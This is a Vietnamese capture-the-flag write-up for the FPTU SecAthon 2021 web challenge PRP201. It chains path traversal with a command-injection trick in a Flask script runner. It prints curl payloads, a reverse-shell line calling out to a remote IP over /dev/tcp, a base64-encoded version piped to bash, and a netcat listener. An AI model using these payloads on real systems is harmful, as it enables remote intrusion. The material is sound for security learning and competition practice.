Home FPTU SecAthon 2021 | Web Writeup | PRP201
Post
Cancel

FPTU SecAthon 2021 | Web Writeup | PRP201

PRP201

Đây là challenge mà mình đã đoán được một phần, nhưng vẫn mất gần 1 ngày để giải ra :< Một sản phẩm đến từ anh Khoa (matuhn)

  • Truy cập vào bài thì thấy có 5 đường dẫn đến 5 file txt

  • Thử truy cập vào một trong số đó sẽ thấy URL có dạng: http://139.180.208.121:8001/getData?f=/fus/data/1.txt, liệu đây có phải path traversal? có vẻ như các anh ra đề năm nay khá thích path traversal

  • Mò mẫm một lúc thì mình tìm được file flag.txt cũng trong /fus/data :D với nội dung như sau:

    flag.txt

  • Vậy là cần phải làm cách nào đó để xem được cái secret_service đó

  • Đến đây thì mình bắt đầu bí rồi, path traversal thì cũng cần phải biết có những gì trong đó chứ (hoặc ít nhất là mình nghĩ vậy), cho tới khi ban ra đề cho hint đầu tiên: ?f=/fus/data/../app.py, vậy hãy xem source code này có vấn đề gì?

  • Vì source khá dài nên mình sẽ phân tích từng hàm một, bỏ qua hàm index, vì nó in ra trang mà chúng ta truy cập vào đầu tiên

    1
    2
    3
    4
    5
    6
    7
    
          @app.route('/getData', methods=['GET'])
          def getLog():
              log_file = flask.request.args.get('f')
              if (log_file.startswith('/fus/data')):
                  return flask.send_file(log_file, mimetype='text/plain', as_attachment=False)
              else:
                  return ({'status': 'invalid path'},200)
    
  • Ok, đây chính là hàm mà chúng ta dùng để đọc file và thực hiện path traversal, không có nhiều điều để nói về nó.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    
          # run script to crawl data
          @app.route('/runScript')
          def runScript():
              json = flask.request.json
              msg = start(json)
              return ({'status': msg},200)
    
          def check_script_dup(scripts, command_log, json):
              try:
                  script_parent_dir = scripts + '/' + json['dir']
                  script_path = script_parent_dir + '/' + json['name']
              except:
                  return "missing dir and name"
              if os.path.exists(script_path):
                  return "duplicate script"
              else:
                  if not os.path.exists(script_parent_dir):
                      os.makedirs(script_parent_dir)
                  return download_script(script_path, command_log, json)
    
          def download_script(script_path, command_log, json):
              try:
                  script_link = json['url']
              except:
                  return "missing url"
              # don't trust anyone
              if (urllib.parse.urlparse(script_link).netloc == "localhost:8888"):
                  result = requests.get(script_link)
                  with open(script_path, 'wb') as f:
                      f.write(result.content)
                      run_script(script_path, command_log)
              else:
                  return "invalid script link"
    
          def run_script(script_path, command_log):
              lf = open(command_log, 'wb+')
              command = subprocess.Popen(['bash', script_path], stderr=lf, stdout=lf, universal_newlines=True)
              return "Run successfully"
    
          def start(json):
              scripts = home + '/scripts'
              log = home + '/logs'
              if not os.path.exists(scripts):
                  os.makedirs(scripts)
              if not os.path.exists(log):
                  os.makedirs(log)
              try:
                  command_log = log + '/' + json['command_log'] + '.txt'
              except:
                  return "missing command_log"
              msg = check_script_dup(scripts, command_log, json)
              return msg
    
  • Mình sẽ để cả 5 hàm này chung với nhau, vì chúng liên quan mật thiết với nhau, và cũng là tiền đề cho mọi thứ

  • Ta có thứ tự như sau:

    • runScript() nhận json từ request và truyền cho hàm start()

      • start() xử lý việc tạo ra đường dẫn thư mục cho logs, scripts và tạo file command_log và đưa vào hàm check_script_dup()

      • check_script_dup() nôm na thì kiểm tra xem file script đã tồn tại hay không, nếu tồn tại thì tất nhiên là không cần mất công đến hàm tiếp theo, hàm download_script()

      • download_script() là phần sẽ “tạo ra nội dung file”, bằng cách nhập file từ url trong JSON vào file script, ở đây ta biết được rằng, url đó sẽ có dạng http://localhost:8888/anything_else vì đoạn #dont trust anyone, hãy nhớ điều này

      • Sau khi download_script() hoàn tất, hàm run_script() được khởi động, hàm này sẽ chạy một câu lệnh bash <script_bash>, và từ đây ta hiểu được 2 điều:

        • script_bash là tên file được thực thi bới lệnh bash, có nội dung được nhập từ nôi dung file trên url của JSON truyền vào

        • command_log chính là file log của stdoutstderr, như vậy khi thực thi, output và thông báo lỗi của bash đều sẽ đẩy vào file log đó, và tất nhiên, ta có thể xem file log đó qua path traversal

  • Đến đây thì mình (và tin chắc ai đó khi xem WU này), chắc hẳn đều đã nghĩ ra rồi, tác giả cũng đã ra hint suprocess.Popen(), stderr, stdout là gì? rồi :v

  • Mình thử luôn nhé :v Như ở trên ta đã có JSON bao gồm dir, name, command_log, url

  • URL để nhận file JSON là http://139.180.208.121:8001/runScript, để gửi JSON lên thì mình sử dụng curl như sau:

    1
    
          curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{json}'
    
  • Mình sẽ thử tạo một JSON như sau:

    1
    2
    3
    4
    5
    6
    
          {
              "dir" : "test",
              "name" : "ls",
              "command_log" : "log",
              "url" : "http://localhost:8888/"
          }
    
  • Ghép lại với curl:

    1
    
          curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{"dir" : "test", "name" : "ls", "command_log" : "log", "url" : "http://localhost:8888/"}'
    
  • Và sau khi gửi, truy cập vào http://139.180.208.121:8001/getData?f=/fus/data/../logs/log.txt để xem kết quả của câu lệnh là gì (ta biết logs cùng chung thư mục cha với data khi xem code):

    curl

    log.txt

  • Có thể thấy rằng, nội dung file chínhlog.txt chính là biến script_path được ra thêm cả response của index(), chúng trên một dòng nên sẽ bị lỗi, thử đổi ls thành \nls\n ở JSON và gửi lên, sẽ thấy sự khác biệt:

    curl_1

    log.txt_1

  • Thấy rõ là ls đã thụt xuống, vậy điều này có ý nghĩa gì? bash <filename> khi chạy sẽ chạy từ trên xuống như các ngôn ngữ lập trình, nhưng có một điều đặc biệt là, hàng nào lỗi, nó sẽ in ra lỗi và chạy hàng tiếp theo, chứ không dừng lại khi gặp lỗi syntax bên trong

  • Đến đây thì mình đã nhận ra, hàm download_script(), vậy sẽ ra sao nếu mình truyền vào url trong JSON là http://localhost:8888/getData?f=/fus/data/../logs/log.txt (nên lưu ý localhost ở đây là local của server :> ), thì có phải download_script() sẽ lấy nội dung của log.txt để đưa vào script_path?

  • Như vậy mình tạo JSON mới và lệnh curl mới như sau:

    1
    2
    3
    4
    5
    6
    
          {
              "dir" : "test",
              "name" : "ls.sh",
              "command_log" : "lssh",
              "url" : "http://localhost:8888/getData?f=/fus/data/../logs/log.txt"
          }
    
    1
    
          curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{"dir" : "test", "name" : "ls.sh", "command_log" : "lssh", "url" : "http://localhost:8888/getData?f=/fus/data/../logs/log.txt"}'
    
  • Và gửi đi, giờ chỉ cần mở file lssh.txt bằng path traversal và thu được kết quả:

    curl_2

    lssh.txt

  • Vậy là chính xác rồi, nhưng có một vấn đề là ta cần tìm đến /root để mở file secret_service, và tất nhiên là phải root thì mới có thể làm được điều đó (mình đã thử rồi)

  • Mụ mẫm cả đầu thì anh T giấu tên và anh Khoa (tác giả) đã gợi ý về reverse shell

  • Vậy bây giờ chỉ cần dùng cách trên, tạo một file chạy một đoạn reverse shell và chúng ta sẽ chiếm quyền thông qua SUID (hint từ tác giả) là xong

  • Nhưng, mình đã thử và nhận ra, tất cả những command mà chứa dấu ‘/’ thì lỗi 500 là rõ, như ở dưới mình để name trong JSON là \nls ../root\n:

    500

  • Vậy là mình cần cách khác, nhưng trước tiên, phải chuẩn bị cái reverse shell đã :D

    1
    
          sh -i >& /dev/tcp/34.92.153.161/8899 0>&1
    
  • Có cả revshell của bash, nc, …, tìm hiểu tại đây

  • Vẫn là tác giả đã gợi ý cho mình một cách để đẩy được revshell kia lên, sử dụng base64, chuyển đoạn shell ở trên thành base64 encode, và đưa về dạng sau:

    1
    
          echo "c2ggLWkgPiYgL2Rldi90Y3AvMzQuOTIuMTUzLjE2MS84ODk5IDA+JjEK" | base64 -d | bash
    
  • Vậy là xong, giờ cần chuẩn bị request đầu tiên (hãy nhớ escape string :v):

    1
    2
    3
    4
    5
    6
    
          {
              "dir" : "rev",
              "name" : "\necho \"c2ggLWkgPiYgL2Rldi90Y3AvMzQuOTIuMTUzLjE2MS84ODk5IDA+JjE=\" | base64 -d | bash\n",
              "command_log" : "rev",
              "url" : "http://localhost:8888/"
          }
    
    1
    
          curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{"dir" : "rev","name" : "\necho \"c2ggLWkgPiYgL2Rldi90Y3AvMzQuOTIuMTUzLjE2MS84ODk5IDA+JjE=\" | base64 -d | bash\n","command_log" : "rev","url" : "http://localhost:8888/"}'
    
  • Gửi đi, và trước khi đến với lần request thứ 2, mình phải tạo một listener trên máy của mình đã (thực ra là VPS mình mượn của một người bạn xứ cảng):

    1
    
          nc -lvnp 8899
    

    listener

  • Giờ để listener ở đó, ta quay lại với request thứ 2, request để chạy revshell:

    1
    2
    3
    4
    5
    6
    
          {
              "dir" : "rev_tcp",
              "name" : "rev_tcp.sh",
              "command_log" : "rev",
              "url" : "http://localhost:8888/getData?f=/fus/data/../logs/rev.txt"
          }
    
    1
    
          curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{"dir" : "rev_tcp","name" : "rev_tcp.sh","command_log" : "rev","url" : "http://localhost:8888/getData?f=/fus/data/../logs/rev.txt"}'
    
  • Và gửi đi, rồi quay lại listener:

    revshell

  • Vậy là ta đã mở được reverse shell trên server

  • Bây giờ chỉ cần tiến hành leo thang đặc quyền thôi:

    done

  • Ta có flag: "FUSec{a9595511e650bb0ff367d8144818802b}"

Cảm ơn anh Khoa và anh T giấu tên (không lừa) đã luôn hỗ trợ, đấm mồm thằng em để em có thể giải được bài này

Mình cũng xin cảm ơn người bạn đến từ đất cảng Mai Kim Long, mặc dù chỉ quen biết qua mạng xã hội nhưng vẫn dám cho mình mượn tài khoản GCP để làm bài này, thanks bro!

This post is licensed under CC BY 4.0 by the author.